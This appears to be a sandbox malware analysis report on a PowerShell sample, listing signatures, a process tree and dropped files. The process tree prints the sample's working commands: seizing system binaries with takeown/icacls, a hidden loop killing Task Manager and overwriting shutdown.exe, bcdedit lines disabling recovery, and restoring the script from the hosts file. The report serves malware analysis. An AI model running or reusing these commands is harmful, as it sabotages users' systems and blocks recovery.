Analysis

  • user interaction
    yes
  • max time kernel
    24s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    01/07/2026, 17:58

General

  • Target
    target.ps1
  • Size 12KB
  • Sample260701-wkllysc14v
  • SHA256 dedca95b1c824184bac5870a1e12686c8d9fd4090070edf7cb96eb339e8ac34f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Drops file in Drivers directory 1 IoCs
  • Possible privilege escalation attempt 8 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 32 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\target.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Drops file in Drivers directory
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2556
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yt1d1x4f\yt1d1x4f.cmdline"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4476
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2A86.tmp" "c:\Users\Admin\AppData\Local\Temp\yt1d1x4f\CSC5B8D486F6A944A618E661124413F45.TMP"
        3⤵
          PID:2764
      • C:\Windows\system32\takeown.exe
        "C:\Windows\system32\takeown.exe" /F C:\Windows\system32\shutdown.exe /A
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1468
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" C:\Windows\system32\shutdown.exe /grant Administrators:F /t
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3596
      • C:\Windows\system32\takeown.exe
        "C:\Windows\system32\takeown.exe" /F C:\Windows\system32\logoff.exe /A
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4724
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" C:\Windows\system32\logoff.exe /grant Administrators:F /t
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3060
      • C:\Windows\system32\takeown.exe
        "C:\Windows\system32\takeown.exe" /F C:\Windows\system32\tsdiscon.exe /A
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1840
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" C:\Windows\system32\tsdiscon.exe /grant Administrators:F /t
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2368
      • C:\Windows\system32\takeown.exe
        "C:\Windows\system32\takeown.exe" /F C:\Windows\system32\reset.exe /A
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2436
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" C:\Windows\system32\reset.exe /grant Administrators:F /t
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2160
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vxnl2c43\vxnl2c43.cmdline"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2444
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES30EE.tmp" "c:\Users\Admin\AppData\Local\Temp\vxnl2c43\CSCF59F9B9591C4694992C5BCBE6FDE33.TMP"
          3⤵
            PID:1036
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\anjtoatg\anjtoatg.cmdline"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4028
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES315C.tmp" "c:\Users\Admin\AppData\Local\Temp\anjtoatg\CSCDAECBE916204249B9B5221F796CDC.TMP"
            3⤵
              PID:3296
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pkwl2e3x\pkwl2e3x.cmdline"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4016
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3795.tmp" "c:\Users\Admin\AppData\Local\Temp\pkwl2e3x\CSCA74A904BE2354E2398E3DA1213C6F5FE.TMP"
              3⤵
                PID:3752
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:800
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "while ($true) { # Kill taskkill, taskmgr, process explorer, etc. $badProcs = @("taskkill","taskmgr","procexp","procmon","psexec","wmic","cscript","wscript","powershell_ise") foreach ($p in $badProcs) { Get-Process -Name $p -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue } # Re-apply shutdown blocker and overwrite executables if restored try { $blocker = [ShutdownBlocker]; $blocker::Block() } catch {} $system32 = [Environment]::SystemDirectory $exes = @("shutdown.exe","logoff.exe") foreach ($e in $exes) { $path = Join-Path $system32 $e if (Test-Path $path) { $content = Get-Content $path -ErrorAction SilentlyContinue if ($content -notmatch "vm_keeper") { takeown /F $path /A 2>$null; icacls $path /grant Administrators:F /t 2>$null $dummy = "@echo off`npowershell -WindowStyle Hidden -ExecutionPolicy Bypass -File `"C:\Windows\Temp\vm_keeper.ps1`"`nexit /b 0" Set-Content -Path $path -Value $dummy -Force } } } Start-Sleep -Seconds 30 }"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:132
            • C:\Windows\system32\bcdedit.exe
              "C:\Windows\system32\bcdedit.exe" /set {globalsettings} advancedoptions false
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:1020
            • C:\Windows\system32\bcdedit.exe
              "C:\Windows\system32\bcdedit.exe" /set {globalsettings} optionsedit false
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:404
            • C:\Windows\system32\bcdedit.exe
              "C:\Windows\system32\bcdedit.exe" /set recoveryenabled No
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:976
            • C:\Windows\system32\bcdedit.exe
              "C:\Windows\system32\bcdedit.exe" /set bootstatuspolicy ignoreallfailures
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:3004
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "while ($true) { if (-not (Test-Path "C:\Windows\Temp\vm_keeper.ps1")) { # Restore from a hidden alternate data stream (store in hosts file) $backup = [System.IO.File]::ReadAllText("C:\Windows\System32\drivers\etc\hosts") if ($backup -match "KEEPER_START(.*)KEEPER_END") { [System.IO.File]::WriteAllText("C:\Windows\Temp\vm_keeper.ps1", $matches[1]) } } Start-Sleep -Seconds 5 }"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1156
            • C:\Windows\system32\gpupdate.exe
              "C:\Windows\system32\gpupdate.exe" /force /target:computer
              2⤵
                PID:5000

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

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                  Downloads

                  powershell.exe.log

                  • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                  • Size 2KB
                  • SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
                  • MD5 SHA1 SHA512 TLSH

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 948B
                  • SHA256 4518fb6ffb3f70be78cb243cac94fcf74d9c58d2e7bd8c510ebe696d3f81cb60
                  • MD5 SHA1 SHA512 TLSH

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 b6086659d609348518f33c0dc4032f862c5f24f52ad83fd80c041604dc9e6bcd
                  • MD5 SHA1 SHA512 TLSH

                  RES2A86.tmp

                  • Path C:\Users\Admin\AppData\Local\Temp\RES2A86.tmp
                  • Size 1KB
                  • SHA256 21bbfe2f3ad0013c55cbaa6e40bb1261984ffd17109491a8b9a632f497401aad
                  • MD5 SHA1 SHA512 TLSH

                  RES30EE.tmp

                  • Path C:\Users\Admin\AppData\Local\Temp\RES30EE.tmp
                  • Size 1KB
                  • SHA256 01e937e59fa70edef08a0c017f44dd92a87b4c50b67612acc86ea8aa57374f25
                  • MD5 SHA1 SHA512 TLSH

                  RES315C.tmp

                  • Path C:\Users\Admin\AppData\Local\Temp\RES315C.tmp
                  • Size 1KB
                  • SHA256 c13ad02b7c302f4ffa4c73ce8c92b2cecc0cd54b2097fcff1cb5c76c65120257
                  • MD5 SHA1 SHA512 TLSH

                  RES3795.tmp

                  • Path C:\Users\Admin\AppData\Local\Temp\RES3795.tmp
                  • Size 1KB
                  • SHA256 20303c574d74eaec951b9457f3a0eb2ff0f88bf6bfd3485524a2f8f05ca1bae9
                  • MD5 SHA1 SHA512 TLSH

                  __PSScriptPolicyTest_rfaibjb2.hmc.ps1

                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rfaibjb2.hmc.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512 TLSH

                  anjtoatg.dll

                  • Path C:\Users\Admin\AppData\Local\Temp\anjtoatg\anjtoatg.dll
                  • Size 3KB
                  • SHA256 ada6cfa334868fc8ca3a0982dae215d2be49cacebacf8386ebf8bfb0bc2675c9
                  • MD5 SHA1 SHA512 TLSH

                  pkwl2e3x.dll

                  • Path C:\Users\Admin\AppData\Local\Temp\pkwl2e3x\pkwl2e3x.dll
                  • Size 3KB
                  • SHA256 0d52be02344128c5f845b3b578cfc771e56919280259e3c3d5c7b28babbea893
                  • MD5 SHA1 SHA512 TLSH

                  vxnl2c43.dll

                  • Path C:\Users\Admin\AppData\Local\Temp\vxnl2c43\vxnl2c43.dll
                  • Size 3KB
                  • SHA256 9bdb38263c3e9d35d47987f153594a832d367b86ac8a686674991704af9025ae
                  • MD5 SHA1 SHA512 TLSH

                  yt1d1x4f.dll

                  • Path C:\Users\Admin\AppData\Local\Temp\yt1d1x4f\yt1d1x4f.dll
                  • Size 4KB
                  • SHA256 4d1e3727fc3c5eac45762fadb3912a99c676d8846eb224772c8780bcc930990a
                  • MD5 SHA1 SHA512 TLSH

                  CSCDAECBE916204249B9B5221F796CDC.TMP

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\anjtoatg\CSCDAECBE916204249B9B5221F796CDC.TMP
                  • Size 652B
                  • SHA256 6829ee3c45d470dc6342609b8171ea4eb66666d2ac60a9cda1f56bcc90b93ea8
                  • MD5 SHA1 SHA512 TLSH

                  anjtoatg.0.cs

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\anjtoatg\anjtoatg.0.cs
                  • Size 343B
                  • SHA256 8f8bb45b4717e93bf9dec52ce3c79ec153df04ab8286ee7c2467001f3488c60f
                  • MD5 SHA1 SHA512 TLSH

                  anjtoatg.cmdline

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\anjtoatg\anjtoatg.cmdline
                  • Size 369B
                  • SHA256 7c3001cf49f83a22a5e336e9a114ebdd6d69d396c1827868a86be8ed4f5629b3
                  • MD5 SHA1 SHA512 TLSH

                  CSCA74A904BE2354E2398E3DA1213C6F5FE.TMP

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\pkwl2e3x\CSCA74A904BE2354E2398E3DA1213C6F5FE.TMP
                  • Size 652B
                  • SHA256 bae8b8e3c8c98410f52818c570bc6bb468b646036197f92935d9e7326b82eaea
                  • MD5 SHA1 SHA512 TLSH

                  pkwl2e3x.0.cs

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\pkwl2e3x\pkwl2e3x.0.cs
                  • Size 647B
                  • SHA256 1fa82e05df0472d6560e9350f0a6812cc1fd53429452ab1678ff5ba1c0350800
                  • MD5 SHA1 SHA512 TLSH

                  pkwl2e3x.cmdline

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\pkwl2e3x\pkwl2e3x.cmdline
                  • Size 369B
                  • SHA256 a1de51363f7c855c901c9377aaffaf64e39ea995327a6ee309f0b9a258d1962c
                  • MD5 SHA1 SHA512 TLSH

                  CSCF59F9B9591C4694992C5BCBE6FDE33.TMP

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\vxnl2c43\CSCF59F9B9591C4694992C5BCBE6FDE33.TMP
                  • Size 652B
                  • SHA256 04269675a4da005366ff75e9f60fc86529b3a4e5fa57c9bacbd4db9524031366
                  • MD5 SHA1 SHA512 TLSH

                  vxnl2c43.0.cs

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\vxnl2c43\vxnl2c43.0.cs
                  • Size 548B
                  • SHA256 5e779db676d438c491736b4d2f30b08daea3e0ffc4e50fe491a6e05f37d68642
                  • MD5 SHA1 SHA512 TLSH

                  vxnl2c43.cmdline

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\vxnl2c43\vxnl2c43.cmdline
                  • Size 369B
                  • SHA256 560b33fb87952afe9030fe4c1121de9d591e043bb1ff65f316d7e5e8ccd10950
                  • MD5 SHA1 SHA512 TLSH

                  CSC5B8D486F6A944A618E661124413F45.TMP

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\yt1d1x4f\CSC5B8D486F6A944A618E661124413F45.TMP
                  • Size 652B
                  • SHA256 14b075f5525a2256fa8a0d3b14b18ca95715edbbc4bf7922b66b6066d519db01
                  • MD5 SHA1 SHA512 TLSH

                  yt1d1x4f.0.cs

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\yt1d1x4f\yt1d1x4f.0.cs
                  • Size 1KB
                  • SHA256 2dbc0a67d963f6c18a462bca497bad10c22894c5ebc28d50969ddab31c66c3f2
                  • MD5 SHA1 SHA512 TLSH

                  yt1d1x4f.cmdline

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\yt1d1x4f\yt1d1x4f.cmdline
                  • Size 369B
                  • SHA256 31e117884ed9f3c8c04944221c0af740588014363bf21b3c198e444cef4088fb
                  • MD5 SHA1 SHA512 TLSH

                  memory/2556-62-0x000002D63F960000-0x000002D63F97C000-memory.dmp

                  memory/2556-76-0x000002D63FEE0000-0x000002D640056000-memory.dmp

                  memory/2556-59-0x000002D63F3F0000-0x000002D63F40C000-memory.dmp

                  memory/2556-22-0x000002D63F360000-0x000002D63F368000-memory.dmp

                  memory/2556-61-0x000002D63F7E0000-0x000002D63F7EA000-memory.dmp

                  memory/2556-52-0x000002D63F3B0000-0x000002D63F3B8000-memory.dmp

                  memory/2556-0-0x000002D63D120000-0x000002D63D130000-memory.dmp

                  memory/2556-9-0x000002D63D120000-0x000002D63D130000-memory.dmp

                  memory/2556-75-0x000002D63F940000-0x000002D63F948000-memory.dmp

                  memory/2556-60-0x000002D63F410000-0x000002D63F4C3000-memory.dmp

                  memory/2556-77-0x000002D640270000-0x000002D64047A000-memory.dmp

                  memory/2556-7-0x000002D63F2F0000-0x000002D63F312000-memory.dmp

                  memory/2556-39-0x000002D63F3A0000-0x000002D63F3A8000-memory.dmp

                  memory/2556-106-0x000002D63D120000-0x000002D63D130000-memory.dmp

                  memory/2556-105-0x000002D63D120000-0x000002D63D130000-memory.dmp

                  memory/2556-107-0x000002D63D120000-0x000002D63D130000-memory.dmp

                  memory/2556-1-0x000002D63D120000-0x000002D63D130000-memory.dmp